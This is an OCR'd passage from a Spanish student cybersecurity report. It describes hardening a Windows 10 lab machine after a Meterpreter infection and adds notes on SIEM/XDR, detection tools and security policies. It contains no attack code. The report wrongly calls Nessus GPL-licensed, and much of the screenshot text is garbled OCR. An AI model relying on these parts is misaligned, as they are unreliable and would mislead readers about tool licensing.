registros centralizados.
Necesita un esfuerzo de
gestion intensivo  para
conectarse a fuentes de
datos y sincronizar las
alertas

Principalmente una
herramienta de analisis de
datos que proporciona
datos y alertas al equipo
SOC para que puedan
identificar peligros
Requiere muchos ajustes y
esfuerzos. Los equipos de
seguridad pueden verse
superados por la gran
cantidad de alertas
procedentes de un SIEM

Ref: https://heimdalsecurity.com/blog/siem-vs-xdr-a-comparison-of-

Basado en EDR

Utiliza los datos recopilados
para mejorar la deteccion y
respuesta a amenazas.

Se crean para conectarse
mas facilmente con Ia
arquitectura de seguridad de
una empresa.

Posee la capacidad de
apoyar y coordinar los
esfuerzos de respuesta.

Permite la integracion de
ecosistemas a través
de Marketplace y proporciona
mecanismos para
automatizar acciones
sencillas en controles de
seguridad de terceros.

two-advanced-detection-and-response-solutions/

6. Defina por lo menos 3 herramientas de deteccion de ataques informaticos con

licencia GPL.

Tres herramientas de deteccidn de ataques informaticos con licencia GPL.:

Nessus:

Es un escaner de vulnerabilidades que puede utilizarse para identificar vulnerabilidades
conocidas en sistemas y aplicaciones. Nessus utiliza un motor de andlisis de
vulnerabilidades para identificar vulnerabilidades en los sistemas y aplicaciones que
escanea. El motor de andlisis de vulnerabilidades de Nessus estd constantemente
actualizado con nuevas vulnerabilidades, lo que ayuda a garantizar que los sistemas y
aplicaciones estén protegidos de las ultimas amenazas.
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Snort:

Es un sistema de deteccién de intrusiones (IDS) que utiliza firmas para detectar trafico
malicioso. Snort es un sistema de cédigo abierto que puede ser utlizado por
organizaciones de todos los tamafios. Snort es capaz de detectar una amplia gama de
ataques, incluyendo ataques de denegacion de servicio (DoS), ataques de inyeccién
SQL y ataques de malware.

Wireshark:

Es un analizador de paquetes que puede utilizarse para capturar y analizar el trafico de
red. Wireshark es un sistema de cdédigo abierto que puede ser utlizado por
organizaciones de todos los tamafos. Wireshark es capaz de capturar y analizar todo el
trafico de red, lo que lo hace util para la investigacion de incidentes de seguridad.

ANEXO 5. ESCENARIO 4

e Descargue una guia de hardenizacion para Windows 10
e Asegure la maquina que fue afectada con el Payload de la Etapa
4.

e Genere un documento donde mencione el paso a paso utilizado
para asegurar y erradicar el ataque ejecutado en la Etapa 4.

ETAPAS DE HARDENING DE SERVIDORES WINDOWS

1. Ubicacion fisica del equipo

Se debe asegurar que el equipo este ubicado en un sitio seguro, donde se puedan
garantizar aspectos como temperatura adecuada y acceso al mismo por parte de
personal autorizado en el area, en lo posible contar con un sistema CCTV.

2. Configuracion de usuarios

Verificar que los permisos de usuarios estén asignados de acuerdo con los roles
establecidos de acuerdo con las funciones del usuario.

En ambientes corporativos, y siempre que sea posible se puede dejar deshabilitada la
cuenta de administrador local, generando una cuenta de dominio adecuada si el equipo
es miembro de Active Directory (AD) , si no es posible entonces asegurar que la
contrasefia de la cuenta administrador local se restablezca con una combinacion
segura.
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3. Configuracion de cortafuegos

Asegurar que el cortafuegos (firewall) se encuentre habilitado y configurado con todas
las protecciones necesarias para monitorear el trafico entrante y saliente y bloquear el
trafico que no se desea dejar ingresar a la red con el fin de evitar posibles ataques.

4. Ejecucion y administracion de configuraciones pertinentes

Realizar las configuraciones necesarias para el equipo en la red de la organizacion, las
funciones de Windows, los servicios, el acceso remoto y protocolo de tiempo NTP,
depurar aplicaciones, servicios y archivos no utilizados, cerrar los puertos que no se
encuentren en uso y cifrado de datos, deshabilitar la instalacion de programas
solamente siendo permitido por personal calificado y software con el debido
licenciamiento o de paginas oficiales.

La revision y administracion de estos aspectos asegura que todos los equipos, usuarios
y sistemas cuenten con el nivel de seguridad y coherencia suficiente.

En el caso de que el equipo Windows 10 pertenezca a una red corporativa, hoy en dia
se una Active Directory AD, con lo cual se centraliza la administracion de la red,
asignando los permisos necesarios a cada recurso.

5. Aplicacion de parches a las vulnerabilidades

Es muy importante habilitar las actualizaciones automaticas y garantizar que se estén
llevando a cabo en forma periodica en los equipos para que queden instalados todos
los parches al software con el fin de que los equipos permanezcan lo mas seguro o
preparados posible frente a las nuevas vulnerabilidades y puntos débiles que se
presenten en los sistemas usados.

6. Planificacion estratégica de respaldo

Realizar copias de seguridad en forma periddica para evitar pérdidas de informacion
critica en caso de producirse un ciberataque.

7. Monitoreo constante

Es importante monitorear en forma constante la operacidon de los equipos, configurar y
capturar los logs o eventos para hacer seguimiento al funcionamiento del equipo,
permanecer alerta a cualquier sefial de un mal funcionamiento como puede ser: ver
archivos sospechosos, funcionamiento lento del equipo o la red, trafico sospechoso,
ventanas o mensajes nuevos en pantalla o cualquier comportamiento que de sefales
de estar frente a un ataque cibernético.
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Por ultimo y no menos importante, la capacitacion del personal que interactia con los
equipos es fundamental en la seguridad de los equipos y de la red, es un punto critico
en ciberseguridad y debe ser prioritario garantizar unas buenas practicas en el
desempeiio de las actividades por parte de cada usuario.

PROCESO ASEGURAMIENTO DE EQUIPO ATACADO EN FASE 4

Inicialmente se realizé una valoracion del estado en que se encuentra el equipo
afectado en el ataque presentado a la empresa HackinHouse encontrando los
siguientes aspectos de seguridad:

e Sistema Operativo Windows 10 a 64 bits

e Los sistemas de seguridad tanto del S.O como externos se encontraban
desactivados totalmente (Firewall, Windows Defender, Antivirus entre otros)

e Contaba con un archivo de texto ubicado en el escritorio

e Fue ejecutado un archivo .exe con el nombre PoC_93408477

Se realizo la correccion y hardenizacion del equipo asi:

Se activaron las protecciones de Windows Defender

Se activo el Firewall de Windows

Se revisaron usuarios del sistema y se asignaron permisos

Se instalo antivirus MCaffe

Se configuraron elementos de seguridad a la maquina y a cada perfil de usuario.

Inicialmente se realizo la habilitacion de la seguridad Windows Defender, ver llustracion
38.

llustracién 38. Activacion Windows Defender

=2

€ Configuracién

§53  ACTUALIZACION Y SEGURIDAD Buscar una configuracion

Windows Update .. .
Proteccién en tiempo real

e [ T Ayuda a encontrar el software malintencionado e impedir que se

instale o ejecute en tu equipo. Se puede desactivar temporalmente

Copia de seguridad pero, si esté desactivada durante un tiempo, la activaremos de
nuevo automaticamente,

Recuperacion @D Activado
Activacion .
Proteccidon basada en la nube
Para programadares i
Obtén una proteccion mejor y mas rapida mediante el envio a

Microsoft de la informacién sobre posibles problemas de
seguridad que encuentra Windows Server Antimalware.

@D Activado

Declaracion de privacidad

Envio de muestras automatico

Aytdanos a mejorar Windows Defender mediante el envio de
muestras de Microsoft para que podamos mejorar nuestras

& © o =

Fuente: El autor

57



Luego de habilitar la proteccion de Windows Defender se evidencia que los archivos
maliciosos son puestos en cuarentena y eliminados del equipo.

llustracién 39. Eliminacién de archivos maliciosos

B Windows Defender . - .

Estado del equipo: Protegido

Inicio Actualizar Historial Configuracién © Ayuda ~

Ver los elementos detectados comoe potencialmente dafiines y las acciones realizadas en ellos:

(@ Elementos en cuarentena

Elermentos que se impidid que se ejecutaran, pero no se quitaron del equipo.
() Elernentos permitidos

Elernentos que ha permitide ejecutar en el equipo.
() Todos los elementos detectados

Elermentos que se detectaron en el equipo

Elermento detectadeo Mivel de alerta Fecha

[] & Behavior:Win32/Meterpreter.gen!i Grave 9/20/2023 6:48 PM
[ & Trojan:Win64/Meterpreter.E Grave 9/9/2023 719 AM
[ '@ Trojan:Wins4/Meterpreter.E Grave 9/8/2023 9:20 PM
[ '@ Trojan:Wins4/Meterpreter.E Grave 9/8/2023 %:19 PM

Categoria: Comportamiento sospechoso

Descripcién: Este programa es peligroso y ejecuta comandes de un atacante.

Accién recomendada: Cuitar este software inmediatamente.

Fuente: El autor
Se habilité y configurd el Firewall de Windows que se encontraba deshabilitado, ver la
llustracion 40.
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llustraciédn 40. Activacion de Firewall de Windows

@ Personalizar configuracisn — [ >

-~ ~ ~ @i <« Firewall de Windows > Personalizar configuracién ~ | T Buscar en el Panel de control o

Personalizar la configuracion de cada tipo de red
Puede modificar la configuracién del firewall para cada tipe de red que use.
Configuracién de red privada
o @) Activar Firewall de Windows
[1Blequear todas las conexiones entrantes, incluidas las de la lista de aplicaciones permitidas
Motificarme cuando Firewall de Windows blogquee una nueva aplicacién
e () Diesactivar Firewall de Windows (no recomendade)
Cenfiguracién de red publica
o @) Activar Firewall de Windows
[1Blogquear todas las conexiones entrantes, incluidas las de la lista de aplicaciones permitidas

Motificarme cuande Firewall de Windows bloques una nuswva aplicacién

g ) Desactivar Firewall de Windows (ne recomendado)

[ Aceptar | Cancelar

| Firefox |

Fuente: El autor

Se activaron las actualizaciones automaticas de Windows para que se instalen los
parches de seguridad necesarios.

llustracion 41. Actualizaciones Windows Update

B8 Win10 [Corriendo] - Oracle VM VirtualBox

& Configuracion - X

02 ACTUALIZACION Y SEGURIDAD Buscar una configuracién »

Windows Update

Windows Update

fiindoplnelendey Tu dispositivo estd actualizado. Ultima comprobacién: 9/10/2023, 7:01 AM

Copia de seguridad
Buscar actualizaciones
Recuperacién
Las actualizaciones disponibles se descargaran e instalaran automaticamente.
Activacion
(Estas buscando informacidn sobre las actualizaciones mads recientes?

Para programadores Mas informacién

Opciones avanzadas

Fuente: El autor

Se realiza activacion de cifrado de datos de Windows.
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llustracion 42. Cifrado de datos en el equipo

Ventana principal del Panel de

control

Foxit PDF Edil

Cifrado de unidad BitLocker

Proteja sus archivos y carpetas del acceso no autorizado protegiendo sus unidades con BitLocker.

Unidad de sistema operativo

C: BitLocker desactivado

Unidades de datos fijas

@ Activar BitLocker

Unidades de datos extraibles: BitLocker To Go
Inserte una unidad flash USB extraible para usar BitLocker To Go.

& Administracién de TPM

ZESW © Administracién de discos

Declaracién de privacidad

Fuente: El autor

o

o

7:04PM

A DOBR gm0

Se procede con la revision de usuarios del sistema, creacion de usuario encargado de
contabilidad y asignacion de permisos segun sus funciones.

llustracion 43. Revision de roles y permisos de usuarios

B Win10 [Cormrendo] - Oracle VM VirtualBox
& Administracién de equipes — [m] >
Archivo Accién Ver Ayuda
Lo ANl NESN 7|
& Administracién del equipe (lec|| Nombre MNombre completo Descripcién Acciones
~ it HE':""'E"GS:E' ;'Ste’"a %] Administrador Cuenta integrada para la administracién del equipo o domi.|| Usuarios -
(D Programador de tareas B Contabilidad Contabilidad Accio.. »

{2] Visor de eventos
@ Carpetas compartidas
~ % Usuarios y grupos locall
“| Usuarios
| Grupes
&) Rendimiento
% Administrador de dispo
~ &2 Almacenamiento
=7 Administracién de disc

ervicios y Aplicaciones

4| DefaultAccount
B Gutierrez
P Invitado

Gutierrez

Cuenta de usuaric administrada por el sistema.

Cuenta integrada para el acceso como invitade al equipo o |

Microsoft Edge

Fuente: El autor
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= Configuraciones de seguridad

Se accede al panel de control del equipo para revision general y se determind la
desactivacion de la opcion de acceso remoto.

llustracion 44. Desactivacién de opcion de acceso remoto

1

“~ [ <« Todos los elementos de Panel de control > Sistema N

nel de control e

Ventana principal del Panel de

control Ver informacion bd propiedades del sisterna 5
Administrador de dispositivos Edicién d= Windaows Mombre de squipo Hardware
Windows 10 Pro Opciones avanzadas Proteccién del sistema Acceso remoto

Configuracion de Acceso
remoto © 2016 Microsoft Co Asistencia remota

- Todos los derechos r
Proteccian del sistermna

Permitir conexiones de Asistencia remota a este =guipo

¢¢ Q¢

Configuracién avanzada del Sisterna

sisterna £QLE sucede si se habilita Asistencia remota?
Procesadorn:

Meroria instalada (R

Tipo de sisterna: Opciones avanzadas...

Lépiz y entrada tactil: Escritorio remoto

Configuracion de normbl Haga clic en una opcién y especifique quién puede conectarse

Membre de equipe: (@) Mo permitic las conexiones remotas & este equipo

Mombre completo d

) Permitir las conexiones remotas = este egquipo
equipo:

Descripcion del equig

rem
mendad

Grupe de trabajo:
Activacién de Windows rudsmme a eleaic Seleccionar usuanos._.
Windows no estad act

Vea tarmbien Id. del producto: QD3

Seguridad v mantenimiento

Aceptar Cancelar Aplicar

Fuente: El autor

Se realizo la activacion de sincronizacion de la hora en internet por medio de El
protocolo de tiempo de red (NTP).

llustracién 45. Activacion de sincronizacion de la hora NTP

Archivo  Accién  Ver  Ayuda

L Al R=ERCREYN 7] P
Servicios (locales)] [T21 Sanvicios (locales)
~ . Propiedades: Actualizador de zona horaria automtica (Equipo local)
Actualizador de zona horaria Nombre Descripeién  Estad: -
automitica £ Actualizador de zona horaria automatica Establece la General | Iniciar sesién Recuperacién Dependencias
o el senicio 3 Actuslizer el servicio Orchestrator UsoSve Encje
— ), Adaptador de rendimiento de WMI Proporciona.. Eneje| lombrede senvico: izautoupdats
3, Administracisn de aplicaciones Procesa las s Nombrs para mostrar: Actuslizador ds z0na horaria automtica
Descripeién: &, Administracién de autenticacion de Xbox Live Proporciona.
Establece |a zona horaria del sistema on dl a opti \ Descripcién: Establece la zona heraria del sistema
sutomiticamente. el © capas ce ptimizala.. putematicaments.
&), Administracién remota de Windows (WS-Management) El servicio A.
3, Administrador de conexiones automticas de acceso remoto Crea una co. Futa de acceso 3l ejectisble
&, Administrador de conexiones de acceso remoto Administra stem 32\svohost exe Lo
), Administrador de conexiones de Windows Toma decisi..  Encie|  Tipe de inicio: ) o
& de confi én de dispositi Habilita la d.
&3, Administrador de credenciales Proporciona... En gje
&3, Administrador de cuentas de seguridad Elinicio de .. Engje
G Administrador de identidad de redes de mismo nivel Proporciona... Estado del servicio:  Detenido
3, Administrador de mapas descargados Servicio de .. e D
&3, Administrador de sesién local Servicio cen...  En gje
E Administrador de usuarios Eladministr... Eneje|  Puede especticarlos pardmetros de icie que se aplcan cuando se nidia
: ador ce u " el servicio desde aqui
3, Adquisicién de imagenes de Windows (WIA) Proporciona.
£, Agente de conexion de red Conedones .. Encje  Parémetros deinicio: |
&, Agente de deteccion en segundo plano de DevQuery Permite a |
&), Agente de directiva IPsec El protocolo... En eje
&), Agente de eventos de tiempo Coordinala... Encje
), Agente de eventos del sistema Coordinala... Encje e T Aplicar .
& ki e i et e -
< > |\ Extendido { Estandar

Fuente: El autor
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Se realiza la revision de los servicios que se encuentran corriendo en el equipo.

llustracion 46. Verificacidn de servicios habilitados

tualBox - o

Archive  Accion  Ver Ayuda
e @ Ec=HE »onn

<, Senvicios (locales) Senvicios (locales)
~ Propiedades: Actualizador de zona horaria sutomatica (Equipo local) X
Actualizador de zona horaria Nembre Descripeion  Estad A
automitica # Actualizador de zona horaria automatica Establecela... Eneje| Genewl |niciarsesin Recuperacion Dependencias
Detener el semvicio & Actualizar el servicio Orchestrator UsoSve En cje
Reiniciar el servicio &), Adaptador de rendimiento de WMl Proporciona... Enejel Nombre desewvicio:  lzautoupdate
& Administracion de aplicaciones Procesa las s... Nombre para mostrar: Actualizador de zona horaia autométics
b o & Administracion de autenticacién de Xbox Live Proporciona. ) s T s s
escripeion: - de capas de. Optimiza a Descrpcién ablece fa 2on
Establece |2 zona horaria del sistema - autométicamentz:
automaticamente. & Administracion remota de Windows (WS-Managemert) Bl servicio A
& i de i A de acceso remote Crea una co, Ruta de acceso al ejscutable
&k Administrador de conexiones de acceso remoto Administra. c ystem32'svohost exe Lo
& Administrador de coneriones de Windows Toma decisi... Encjel  Tpo deirico Automtico o
& Administrador de configurscién de dispositives Habilita I3 d..
& Administrador de credenciales Proporciona... Eneje
& Administrador de cuentas de seguridad Elinicio de .. Ensje
&k Administrador de identidad de redes de mismo nivel Proporciona Estado del senvicio:  Detenido
&, Administrador de mapas descargados Senvicio de .. T P e—
& Administrador de sesién local Servicio cen...  Encje
& Administrador de usuarios Eladministr,. Eneje|  Fuede especticar os pardmetrs de nicio que se splcan cuando se icia
‘ ol servicio desde aqui
&, Adquisicin de imagenes de Windows (WIA) Proporciona.
&) Agente de conexién de red Conexiones .. Encje| Fardmeiros de icio: |
& Agente de deteccién en segundo plana de DevQuery Permite a ...
& Agente de directiva IPsec El protocolo... Engje
i Agente de eventos de tiempo Coordinala... Eneje
& Agente de sventos del sistema Coordinala... Ensje Acepter Cancelar T
e FYR e ) n Y
< > |, Etendido /{ Estandar

Fuente: El autor

Se realiza configuracion de captura de eventos del sistema. llustracion 47.

llustraciéon 47. Visor de eventos del sistema

{4 Visor de eventos -

X
Archive  Accién  Ver Ayuda
L ANa]
1] Visor de eventos (local) Acciones
Vistas personalizadas
7 P ~
© Ta Registros de Windows Nivel Fechay hora Origen Catego... Sistema -
i Aplicacién i\ Advertencia  9/20/2023 7:27:29 PM DS Client Events 1014 (1014) = Abrir registro guardado,
] Seguridad 9/20/2023 T:27:06 PM BROWSER 2033 Ninguno ¥ Crear vista personalizada...
] Instalacién 9/20/2023 7:20:35 PM Service Control Mana.. 7000 Ninguno Impartar vista persanalizada,
f&] Sistema /2023 7:20:18 PM Kernel-General 16 Ninguno
] Eventos reenviados 2023 7:20:18 PM Kemel-General 16 Ninguno Vaciar registro..
Registros de aplicaciones y servicios 9/20/2023 7:20:17 PM Winlogon 7001 (1101) ¥ Filtrar registro actual..
4 Suscripciones 9 Winlogon 7002 (1102) 5] Propicdades
9/20/2023 7 Distributed COM 10010 Ninguno
V| |88 Buscar.
Evento 1014, DNS Client Events % |[d Guardar tedoslos eventos com...
General | Detalles Adjuntar tarea a este registro...
Ver »
Seagots el tiampo de espers pars a resolucién del nombre win'D.py6.microsoft.com. después de que ninguno de losservidores DNS ~ Actualizar
H Ayuda 3
Mombre de registro: ~ Sistema
Origen: DNS Client Events Registrado: 9/20/2023 7:27:29 PM (XA A ET S -
Id. del 1014 Categoria de tarea: (1014) [Z] Propiedades de evente
Nivel: Advertencia Palabras clave: (268435456) T Adjuntar tarea 3 este evento...
Usuario: Servicio de red Equipe: Win10 I Copiar 4
T e (s [ Guardar eventos seleccionados.
Més informacion: Ayuda Registro de eventos 6] Actualizar
H Ayuda [

Fuente: El autor
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Configuracion de Directivas de seguridad local o GPO mediante el acceso a gpedit.msc

Con el fin de tener contrasefias con un nivel de seguridad adecuado se realiza la
activacion de la directiva de cumplimiento al respecto. Figura 48.

llustracion 48. Cumplimiento complejidad de contrasefas

& Corriendo rtualBox
Y O
Archive  Accién  Ver  Ayuda Propiedades: La contrasefia debe cumplir los requisitos de...
o= HEXE = H Corfiguracién de sequridad locsl  Explicacién
55 Cenfiguracion de seguridad Directiva Configuracion de seguri...

~ (A Directivas de cuenta
7 Directiva de contrasefias
7 Directiva de bloquee de cuenta
& Directivas locales
“| Firewall de Windows con seguridad a)
7| Directives de Administrador de listas ¢
| Directivas de clave publica
“| Directivas de restriccién de software
“| Directivas de control de aplicaciones
&, Directivas de seguridad IP en Equipo |
| Configuracién de directiva de auditor

< >

[Z]Aimacenar contrasefias con cifrado reversible

[Clexigir historial de contrasefias

E7La contrasefia debe cumplir los requisitos de complejidad
[Z]Longitud minima de la contrasefia

[[lvigencia maxima de Ia contrasefia

Vigencia minima de la contrasefia

Deshabilitada

0 contrasefas recordadas
Deshabilitada

0 caracteres

42 dias

0 dias

?
j' La cortrasefia debe cumplir los requisitos de complejidad

@ Habilitada
(O Deshabiltada

Aplicar

e TnseAREATTOT
18 elementos

1 elemento seleccionade 1.09 KB

Fuente: El autor

Como directiva local se revisé y configuro el acceso del equipo desde la red a usuarios
como se puede ver en la figura 49.

llustracion 49. Configuraciéon de acceso al equipo desde la red

B [u]
Archive  Accién  Ver  Ayuda Propiedades: Tener acceso a este equipo desde la red ? >
= z2@ X2z @ Configuracién de sequidad local | Explicacién
5 Configuracion de seguridad Directiva - Configuracién de seguri.. _
v 4 Directivas de cuenta [l Forzar cierre desde un sistema remoto Administradores j' Teneraceaso 2 edte squipa desde 2 r2d
g Directiva de contrasefiss 2] Generar auditorias de sequridad SERVICIO LOCAL, Servici... }
4 Directiva de bloqueo de cuenta || /P - files de un solo proceso Administradores
~ [ Directivas locales ' . !
- N [] Generar perfiles del rendimienta del sistema Administradares, NT SER...
A Directiva de auditoria
4 Asignacisn de derechos de usuari L] Habiltar confianza con el equipo ¥ las cuentas de usuario p.. . Operadores de copia de seguridad
A Opciones de seguridad [2] Hacer copias de seguridad de archivos y directorios Administradores, Operad... Ludu
“| Firewall de Windows con seguridad [ Iniciar sesién come procese por lotes Administraderes, Operad... Isuarios
| Directivas de Administrador de listas | L] Iniciar sesién como servicio NT SERVICEVALL SERVIC...
\ Directivas de clave publica (L] Modificar la etiqueta de un objeto
| Directivas de restriccion de software || [Z] Modificar valores de entorno firmware Administradores
| Directivas de control de aplicaciones || [Z]Obtener acceso al administrador de credenciales como un ll...
&, Directivas de seguridad IP en Equipo I|| [] Omitir comprobacién de recorrido Todos,SERVICIO LOCAL, .
| Configuracion de directiva de auditor|| [Z] Permitir el inicio de sesién local Invitado, Administradore...
[] Permitir inicio de sesién a través de Servicios de Escritorio re... Administradores, Usuari...
Agregar usuario o grupo. Quitar
[] Quitar equipo de la estacién de acoplamiento Administradares, Usuarios N
[] Realizar tareas de mantenimiento del volumen Administradores j.  Simodfica esta corfiguracién, esto pueds tener un impacto en la
[l Reemplazar un simbolo (token) de nivel de proceso SERVICIO LOCAL Servici... = ,ig’,??;‘h;‘f;dm’;ﬂs’:rjtﬂ:;;:”;;ﬂ:i,éﬂﬁif‘g;:U e
[L] Restaurar archivos y directorios Administradores, Operad... =quipo desde |5 red, (3823655)
[} sincronizar los datos del servicio de directoric
[l suplantar a un cliente tras Ia autenticacion SERVICIO LOCAL Servici...
[l Tener acceso a este equipo desde la red Todos,Administradores, ..
[l Tomar posesién de archivos y otros objetos Administradores Aceptar Cancelar Aplicar
< >

e TnRERInCArTET

18 elementos

1 elemento seleccionade 1.09 KB

Fuente: El autor
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Se realizo la configuracion para la auditoria del equipo en aspectos importantes como
inicios de sesién, cambios de privilegios, cambio de directivas entre otros.

llustracion 50. Configuracion de auditoria en el equipo

tualBox

Fh Directiva de seguridad local
Archive  Accién  Ver Ayuda
=== H

=5 Configuracién de seguridad
~ [ Directivas de cuenta

4, Directiva de contrasefias

7 Directiva de bloques de cuenta Introduccion
~ [ Directivas locales Se puede usar Configuracién de directiva de auditoria svanzada para proporcionar un control detallado de las directivas de audioria, identificar intertos de ataque o staques
% Directiva de suditoris Gonseguidos en la red y los recursas, y cemprobar ¢l cumplimiento de las reglas que gobieman | administrecidn de sctives critices de | erganizacidn.

7 Asignacion de derechos de usuari
7 Opciones de seguridad
« [ Firewall de Windows con sequridad 2| Cuando se usa Configuracisn de directiva de auditoria avanzada. se debe habiltar también I configuracién de directiva "Audttoria: forzar la configuracién de subcategorias de
- 9 1\, I directiva de auditoria (Windows Vista o posterior) para invalidar |2 configuracién de la categoria de directiva de auditoria" en Dinectivas locales'Opciones de seguridad.
@ Firewall de Windows con segurida)

~| Directivas de Administrador de listas (|

~ (1 Directivas de clave piblica i i
I Sistema de cifrado de archivos (EF] bas informacidn,
~| Proteccion de datos (Gué ediciones de_
“| Cifrado de unidad BitLocker A
| Directivas de restriccion de software ||~ Corfguracién
~ (7] Directivas de control de aplicaciones
« [ AppLocker Inicio de sesién de cuentas No configurado "
£ Reglas ejecutables Admiistracién de cusrtas No configurado
Reglas de Windows Installer || S8umierte detalade e iz:sz:gz
L5 Reglas de scripts Inicic y ciers de sesién N corfigurado
B Reglas de aplicaciones empag| || 270 ¥ %% O°F No confiourde
&, Directivas de seguridad IP en Equipo | Cambio on dirediivas Ne cenfigurade
~ [ Configuracién de directiva de auditer|[| (0 40 prsegion No configurado
{84 Directivas de auditoria del sistema || & som No corfigurade

Auditoria de acceso a objetos global  No configurado

Fuente: El autor

Se configuracion la realizaron de copias de seguridad de archivos importantes, esta es
solo una de las copias que se tendra de la informacion.

llustracion 51. Copias de seguridad y puntos de restauracion

B win10 [Corriende] - Oracle tualBox =

- o
&
3
« © 4 ¥ « Todoslow. > Copias de seguridad y restauracion (Windows 7) « & | Buscaren ol Panel de control & Configurar copiss de seguridsd
\::::gla principal del Penel de Haz una copia de seguridad o restaura tus archivos Seleccionar donde desea guardar | copia de seguridad
Copia de seguridad Se recomienda que guarde la copia de seguridad en una unidad de disco duro externa.
) Crear una imagen de sistema
) Crearun disco dereparacion Mo se configuré Copias de seguridad de Windows. Configurar copias de seguridad
del sistema Guardar copia de seguridad en:
Restaurar — -
Destino de Is copia de seguridad Espacio dis... Tamafio to,
Windows no pudo encontrar una copiz de seguridad de este equipo. >
QA Unidad de CD (0) 0 bytes 50,50 MB
Wselecciona otra copia de sequridad de Ia que restaurar archivos ~
Actualizar Guardar en una red...
Vea también Siguiente Cancelar

Seguridad y mantenimiento

Historial de archivos

Fuente: El autor

~ o R

Otros elementos que se configuraron en las directivas fueron: la proteccion para no
permitir instalaciones de software que puede ser dafino, ilegal o malware, (Figura 52),
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Se deshabilita el acceso al panel de control, al simbolo del sistema y a la ejecucion de

Shell (Figuras 54 y 55).

llustracion 52. Inhabilitacién para instalar software

& winio - e
& & Prohibir instalaciones de usuario o x
Archivo  Accion  Ver Ayuda
Prohibir instalaciones de usuario
4= =p | == 4 o Valor anterior [
7 Programa para la mejora de la &xp || Configuracion
Pro dor d < O No configurada  Comentario:
7 Programador de mantenimiento .
b o [E]Permitir @ los usuarios buscar el origen cuande tienen privile... N
E
| Srogramacor detareas [E]Permitir a los usuarios usar el origen de medios cuando tien... N @ Habilitada
“| Recopilacién de datos y versiones
Reenvio de eventos [E1Permitir a los usuarios aplicar revisiones a productos con pri.. N O Deshabilitada
= Instalar siempre con privilegios elevados NI
7 Registro de dispositivos P priviied Compatible con: [ Microsoft Windows XP o Windows 2000 can Windows Installer versién 2.0
R rohibir use del Administrader de reinicio N
“ Registro de eventos "
7 Reproducter de Windows Media [E] Quitar el cuadro de dislogo Examinar para un origen nuevo N
5 Servicio del instalador de Activex [E]Prohibir 1a aplicacién de revisiones optimizada N Gociones Ayudas
7 Servicio Registro de eventos [E]Desactivar el registro mediante la configuracién de paguetes N
Desactivar Windows Installer N -
1 Servicios de Escritorio remoto Comportamiento de la instalacion de usuario: Esta configuracion de directiva le permite configurar
Shell remoto de Windows [i]impedic que los usuarios usen Windows Installer para instala... N suario. Para establecer esta configuracién de
_| Sincronizar Ia configuracién [E]Prohibir reversisn N |[ocultar instalaciones de usuarie directiva, habilitela y use la lista desplegable para seleccionar el
°| Sistema de colores de Windows [E1Desactivar los componentes compartidos. N Stalaciones de usuario comportamiento que desea.
Sists i rtatil d N s s
7| Sistema operative portati [=ElPermitir el control del usuario sobre las instalaciones. N nes de usuario Sino establece esta configuracion de directivs, o <i esté
1 Tablet PC [E]especificar los tipos de eventos que Windows Installer incluy... N habilitada y la opcién "Permitir instalaciones de usuario” esta
7 Tarjeta inteligente [i=1Prohibir a los usuaries que no sen administradores la aplica.. N seleccionada, el instalador permite y usa los productos que estin
* Tiempe de ejecucion de la aplicac [E]Prohibir le eliminacién de actuslizaciones N instalados por usuario y (05 que estan instalados por equipo. Si el
Tienda [Eloesmciivort o e pmtes de comteo! de Rest . instalador encuentra una instalacién per usuarie de una
5 Ubicacion y sensores esactivar |a creacién de puntes de control de Restaurar sist.. zplicacién, oculta la instalacién por equipo del mismo producte,
- ¥ B Prohibir instalaciones de usuario N
Visor de eventos [El Aplicar reglas de actualizacién de componentes N Si habilita esta configuracién de directiva y la opcién "Ocultar
| Windows Installer [E] Controler ¢l temafie maxime de la memeria caché de los ar N instalaciones de usuarie” esta seleccionads, el instelador omite
7 Windows Mail Elimped faces d y d las aplicaciones por usuario. Esto ocasiona que se muestren a los
- Windaws Media Center mpedir interfaces de usuario incrustadas usuarios las splicaciones instaladss por equips, incluso si
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Fuente: El autor

llustracion 53. Restriccion de acceso al panel de control
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clementos.
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Fuente: El autor
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llustracién 54. Configuracién de Shell permitidas
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Fuente: El autor

llustracién 55. Desactivacion del acceso de usuarios al simbolo del sistema
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Finalmente se realiza la instalacion del antivirus MCaffe para fortalecer la seguridad del
equipo lo cual también se puede realizar mediante una consola de antivirus para todos
los equipos de la red corporativa

llustracién 56. Instalacion de antivirus

&
M B Mchfee Total Protection x |+ — a X
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privacidad rendimiento
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Mas informacion + Mas informacion +

M
@ ) B gm0

Fuente: El autor
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5.5 ETAPA 5. SOCIALIZACION DE INFORME TECNICO

1. De qué manera pueden aportar en el campo de la ciberseguridad la integracion de
equipos Blue Team, Red Team y Purple Team al mismo tiempo dentro de una

organizacion.

La implementacion e integracién de equipos especializados de ciberseguridad, Red,
Blue y Purple Team en las organizaciones garantizan un sistema donde se actualizan
constantemente los controles, se verifican las vulnerabilidades y se atienden los fallos
de seguridad en forma eficaz, con el fin de mitigar los efectos que pueden llegar a

causar los ciber ataques informacion y estabilidad de las empresas.

A medida que los ciberatacantes constantemente estan buscando y creando nuevas
técnicas para hacer dafo y vigilantes ante las fallas que presentan los sistemas
informaticos, los equipos de ciberseguridad especializada por medio de sus pruebas
especializadas de ataques, defensa e integracibn buscan que los sistemas de
seguridad permanezcan protegidos y actualizados con el fin de permanecer bien
preparados ante cualquier ataque ya sea para que se pueda evitar o para que pueda

ser superado rapidamente mitigando sus efectos.

2. Plantee politicas de seguridad y recomendaciones para mejorar los aspectos de

ciberseguridad en cualquier organizacion en sus entornos T.1.
La implementacién de politicas de seguridad es necesaria para complementar las
pruebas y controles de seguridad en la infraestructura que deben tener las

organizaciones en la busqueda de las mejoras en ciberseguridad.

Algunas de las politicas de seguridad mas importantes a implementar en las

organizaciones son:
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Politica de seguridad de la informacion
Politicas de contrasefias

Politicas de usuarios, roles y permisos
Politicas backup

Dentro de estas politicas se deben tener en cuenta aspectos importantes como:

Capacitaciones periddicas a empleados y usuarios del sistema sobre las politicas
se seguridad de la informacion y como evitar amenazas.

Realizar auditorias y pruebas periddicas de seguridad.

Realizar inventario de activos de informacion.

Realizar y actualizar en forma periddica la matriz de riesgos informaticos.
Implementar soluciones de seguridad para la infraestructura de red en cada una
de sus diferentes capas y de acuerdo con las necesidades de la organizacion.
Realizar el respaldo de la informacién critica en lo posible implementando copias
de seguridad con la metodologia 3-2-1.

Contar con un equipo de especialistas ya sea interno o externo que verifiqgue
periddicamente todos los aspectos de seguridad de la informacion, implemente
nuevas seguridades de acuerdo con las necesidades y pueda dar respuesta
rapida a un ataque.
